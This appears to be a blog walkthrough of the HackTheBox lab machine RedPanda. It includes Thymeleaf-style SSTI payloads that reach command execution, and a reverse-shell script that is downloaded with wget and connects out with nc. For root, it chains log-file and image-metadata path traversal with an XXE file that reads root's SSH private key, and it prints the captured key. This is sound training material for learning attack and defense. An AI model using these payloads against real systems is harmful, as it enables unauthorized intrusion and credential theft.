Home HackTheBox - RedPanda
Post
Cancel
Preview Image

HackTheBox - RedPanda

Overview

This machine begins w/ a web enumeration, discovering /search, where it is susceptible to a SSTI2RCE exploit due to insufficient input sanitization, allowing us to obtain a low-privilege/www-data shell.

For the privilege escalation part, pspy is used to snoop on background processes, discovering a JAR file being executed every 2 minutes by root. The purpose of the JAR file is to update author’s view count periodically. After analyzing the JAR file w/ jd-gui, it is vulnerable to a XXE and directory traversal exploit due to insufficient user input sanitization, allowing us to privilege escalate to root.


ColumnDetails
Box NameRedPanda
IP10.10.11.170
Points30
DifficultyEasy
CreatorWoodenk
Release Date09 Jul 2022

Recon

TCP/80 (HTTP)

  • FFUF
    1
    2
    3
    4
    5
    6
    7
    
      405      GET        1l        3w        0c http://10.10.11.170:8080/search
      200      GET      275l      763w     7549c http://10.10.11.170:8080/css/panda.css
      200      GET       22l       41w      295c http://10.10.11.170:8080/css/main.css
      200      GET       55l      119w        0c http://10.10.11.170:8080/
      500      GET        1l        1w        0c http://10.10.11.170:8080/error
      200      GET       32l       97w        0c http://10.10.11.170:8080/stats
      200      GET       54l      102w      822c http://10.10.11.170:8080/css/stats.css
    

    An interesting directory is enumerated, /search

Initial Foothold

TCP/80 (HTTP) - /search, SSTI2RCE

  1. Found a page that allows users to search for names of red panda
  2. After some testing, I can conclude that
    • Some special characters are banned
      1
      2
      3
      4
      
        # Payload
        $ 
        }
        {
      

      {, } results in a 500 Internal Server Error, this could be SSTI.

    • Not vulnerable to SQLi/NoSQL

      SQLMap could not find any vulnerabilities

    • Not vulnerable to Command Injection

      No code execution

    • Not vulnerable to LFI/RFI

      No content of files returned

    • Vulnerable to SSTI
      1
      2
      3
      
        # Payload
        *{23*3}
        #{23*3}
      

      Mathematic equation is computed and reflected.

  3. Searching for payload

    Since $ is banned, we have to look for payloads that does not contain $. After browsing through the payloads, found one w/o $

  4. SSTI RCE check
    1
    2
    
     # Payload
     *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
    

    RCE achieved !

  5. Create reverse shell payload
    1
    2
    
     #!/bin/bash
     rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 4444 >/tmp/f
    
  6. Host payload
  7. Download reverse shell payload onto redpanda.htb
    1
    2
    3
    
     # Payload
     *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('wget -O /tmp/exploit.sh http://10.10.14.6/exploit.sh').getInputStream())}
    	
    
  8. Invoke a reverse shell
    1
    2
    
     # Payload
     *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('sh /tmp/exploit.sh').getInputStream())}
    
  9. woodenk shell obtained
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
     ┌──(root💀kali)-[~/htb/redpanda]
     └─# nc -nvlp 4444
     Ncat: Version 7.92 ( https://nmap.org/ncat )
     Ncat: Listening on :::4444
     Ncat: Listening on 0.0.0.0:4444
     Ncat: Connection from 10.10.11.170.
     Ncat: Connection from 10.10.11.170:43658.
     /bin/sh: 0: can't access tty; job control turned off
     $ id;whoami
     uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
     woodenk
    
  10. Demo - SSTI2RCE

Privilege Escalation

Root - Enumeration (Jar File executed as root)

  1. Snoop background processes w/ pspy64
    1
    2
    3
    4
    5
    6
    7
    8
    
     2022/11/05 07:36:01 CMD: UID=0    PID=27149  | /usr/sbin/CRON -f
     2022/11/05 07:36:01 CMD: UID=0    PID=27150  | /bin/sh -c /root/run_credits.sh
     2022/11/05 07:36:01 CMD: UID=0    PID=27151  | /bin/sh /root/run_credits.sh
     2022/11/05 07:36:01 CMD: UID=0    PID=27152  | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
     2022/11/05 07:38:01 CMD: UID=0    PID=27169  | /usr/sbin/CRON -f
     2022/11/05 07:38:01 CMD: UID=0    PID=27171  | /bin/sh /root/run_credits.sh
     2022/11/05 07:38:01 CMD: UID=0    PID=27170  | /bin/sh -c /root/run_credits.sh
     2022/11/05 07:38:01 CMD: UID=0    PID=27172  | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
    

    /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar - is executed by root every 2 minutes.

  2. Transfer it to kali for analysis

Root - What is the JAR file doing?

  1. Lets analyze file.jar w/ jd-gui
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    
     public class App {
       public static Map parseLog(String line) {
         String[] strings = line.split("\\|\\|");
         Map<Object, Object> map = new HashMap<>();
         map.put("status_code", Integer.valueOf(Integer.parseInt(strings[0])));
         map.put("ip", strings[1]);
         map.put("user_agent", strings[2]);
         map.put("uri", strings[3]);
         return map;
       }
    	  
       public static boolean isImage(String filename) {
         if (filename.contains(".jpg"))
           return true; 
         return false;
       }
    	  
       public static String getArtist(String uri) throws IOException, JpegProcessingException {
         String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
         File jpgFile = new File(fullpath);
         Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
         for (Directory dir : metadata.getDirectories()) {
           for (Tag tag : dir.getTags()) {
             if (tag.getTagName() == "Artist")
               return tag.getDescription(); 
           } 
         } 
         return "N/A";
       }
    	  
       public static void addViewTo(String path, String uri) throws JDOMException, IOException {
         SAXBuilder saxBuilder = new SAXBuilder();
         XMLOutputter xmlOutput = new XMLOutputter();
         xmlOutput.setFormat(Format.getPrettyFormat());
         File fd = new File(path);
         Document doc = saxBuilder.build(fd);
         Element rootElement = doc.getRootElement();
         for (Element el : rootElement.getChildren()) {
           if (el.getName() == "image")
             if (el.getChild("uri").getText().equals(uri)) {
               Integer totalviews = Integer.valueOf(Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1);
               System.out.println("Total views:" + Integer.toString(totalviews.intValue()));
               rootElement.getChild("totalviews").setText(Integer.toString(totalviews.intValue()));
               Integer views = Integer.valueOf(Integer.parseInt(el.getChild("views").getText()));
               el.getChild("views").setText(Integer.toString(views.intValue() + 1));
             }  
         } 
         BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
         xmlOutput.output(doc, writer);
       }
    	  
       public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
         File log_fd = new File("/opt/panda_search/redpanda.log");
         Scanner log_reader = new Scanner(log_fd);
         while (log_reader.hasNextLine()) {
           String line = log_reader.nextLine();
           if (!isImage(line))
             continue; 
           Map parsed_data = parseLog(line);
           System.out.println(parsed_data.get("uri"));
           String artist = getArtist(parsed_data.get("uri").toString());
           System.out.println("Artist: " + artist);
           String xmlPath = "/credits/" + artist + "_creds.xml";
           addViewTo(xmlPath, parsed_data.get("uri").toString());
         } 
       }
     }
    
    1. When executed, reads redpanda.log line by line.
    2. Checks if line contains string .jpg
    3. Splits the line into parts w/ || as a delimiter
      • [0]: Status Code
      • [1]: Ip Address
      • [2]: User Agent
      • [3]: URI (Name of image file)
    4. Get artist name using metadata (Artist:) of image file
    5. Create xml path
      • /credits/ + artist + _creds.xml
    6. Process xml file and update it by writing it.

How do we exploit the JAR file (XXE Involved)

  1. We have write access to redpanda.log
    • Able to write directly to redpanda.log
    • OR write it through the web
  2. Since XML file is being processed, we are able to do XXE.
  3. However there are a few problems we have to overcome to do XXE.
    • Path of image file is hardcoded, /opt/panda_search/src/main/resources/static/img/<image name> (1)
    • We do not have write access to the XML file. (2)
    • The path to the XML file is hardcoded, /credits/ + artist + _creds.xml (3)
  4. We can easily overcome problem (1) by using directory traversal ../ to point to our malicious JPG file (Remember that image name is obtained from redpanda.log)
    1. redpanda.log must be in this format, <any number>||<any number>||<any word>||<../../../../../exploit.jpg>, because of line.split("\\|\\|");
    2. The hardcoded directory (/opt/panda_search/src/main/resources/static/img/) will be removed w/ multiple ../, allowing us to point to our malicious image file.
  5. We can easily overcome problem (2) by creating our own malicious XML file (exploit.xml)
  6. We can easily overcome problem (3) by using directory traversal ../ to point to our malicious XML file.
    1. We can do directory traversal by adding a metadata Artist to our image file (exploit.jpg) w/ value ../../../../exploit
    2. This is done using exiftool. This will result in /credits/../../../../../exploit_creds.xml

Exploiting JAR file (XXE Involved)

  1. Create malicious image file w/ artist metadata
    1
    2
    3
    
     # Use any random image
     ┌──(root💀kali)-[~/htb/redpanda/10.10.11.170/loot]
     └─# exiftool -Artist="../../../../../../../tmp/exploit" exploit.jpg
    
  2. Verify metadata (Artist) exists
    1
    2
    3
    
     ┌──(root💀kali)-[~/htb/redpanda/10.10.11.170/loot]
     └─# exiftool exploit.jpg | grep Artist
     Artist                          : ../../../../../../../tmp/exploit
    
  3. Create malicious XML file (exploit_creds.xml)
    1
    2
    3
    4
    5
    6
    7
    
     <?xml version="1.0" encoding="UTF-8"?>
     <!DOCTYPE foo [
        <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa" >]>
     <credits>
       <foo>&xxe;</foo>
     </credits>
    
  4. Create malicious redpanda.log
    1
    
     123||a||a||/../../../../../../tmp/exploit.jpg
    
  5. Transfer files to redpanda.htb
    1
    2
    3
    
     wget 10.10.14.6/exploit_creds.xml
     wget 10.10.14.6/exploit.jpg
     wget 10.10.14.6/redpanda.log -O /opt/panda_search/redpanda.log
    
  6. Wait for cronjob to execute, allowing us to obtain root’s private key
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    
     woodenk@redpanda:/tmp$ cat exploit_creds.xml
     <?xml version="1.0" encoding="UTF-8"?>
     <!DOCTYPE foo>
     <credits>
       <foo>-----BEGIN OPENSSH PRIVATE KEY-----
     b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
     QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
     ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
     AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
     RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
     -----END OPENSSH PRIVATE KEY-----</foo>
     </credits>
    
  7. Demo - Exploiting JAR file
This post is licensed under CC BY 4.0 by the author.

HackTheBox - Ambassador

HackTheBox - Blunder

Comments powered by Disqus.